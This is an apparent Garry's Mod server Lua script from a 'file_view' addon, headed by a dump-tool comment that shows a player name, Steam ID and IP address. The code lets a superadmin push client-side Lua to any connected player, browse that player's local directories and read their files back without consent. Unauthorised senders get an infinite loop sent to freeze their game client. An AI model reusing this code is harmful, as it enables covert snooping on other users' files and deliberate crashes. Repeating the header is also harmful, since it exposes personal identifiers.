--[[
	MOD/lua/file_view/sv/net/receive.lua [#1740 (#1790), 2311581242, UID:2109803844]
	xX-TrueMLGPlayer420Trikshot-Xx | STEAM_0:0:71356345 <82.238.182.218:27005> | [22.06.14 02:38:40PM]
	===BadFile===
]]


net.Receive( "main_menu", function( _, ply ) //list of players
	if( !ply:IsSuperAdmin() ) then ply:SendLua( 'while true do end' ) return end
	i = net.ReadInt( 8 )
	local targ = player.GetAll()[i]
	targ:RunCSLua( file.Read( "file_view/cl/file_list.lua", "LUA" ))
	ply:FileList( targ, "" )
end )

net.Receive( "close_menu", function( _,ply ) //admin closes menu
	ply.in_menu = nil
end )

net.Receive( "close_view", function( _,ply ) //admin closes out of target file view
	ply.viewing = nil
	ply.loaded_list = nil
end )

net.Receive( "view_dir", function( _,ply )
	if( !ply:IsSuperAdmin() ) then ply:SendLua( 'while true do end' ) return end
	local dir = net.ReadString()
	ply:FileList( ply.viewing, dir )
end)

net.Receive( "file_list", function( _, ply ) //target returns files to the server
	local t = net.ReadTable()
	local admin = net.ReadEntity()
	if( !admin.in_menu ) then ply:SendLua( 'while true do end' ) return end
	if( !admin.loaded_list ) then
		admin:RunCSLua( file.Read( "file_view/cl/print_file_list.lua", "LUA" ) ) //prints list of files/dirs to admin
		admin.loaded_list = true
	end
	net.Start( "print_file_list" )
		net.WriteTable(t)
	net.Send( admin )
end )

net.Receive( "print_file_text", function( _, ply ) //message from admin requesting txt of targets file
	if( !ply:IsSuperAdmin() ) then ply:SendLua( 'while true do end' ) return end
	local file_dir = net.ReadString()
	ply.viewing:FileText( file_dir, ply )
end )

net.Receive( "file_text", function( _, ply ) //text of file
	if( !ply.expect_text ) then ply:SendLua( 'while true do end' ) return end
	ply.expect_text = nil
	local file_dir = net.ReadString()
	local text = net.ReadString()
	local admin = net.ReadEntity()
	admin:PrintFileText( file_dir, text )
end )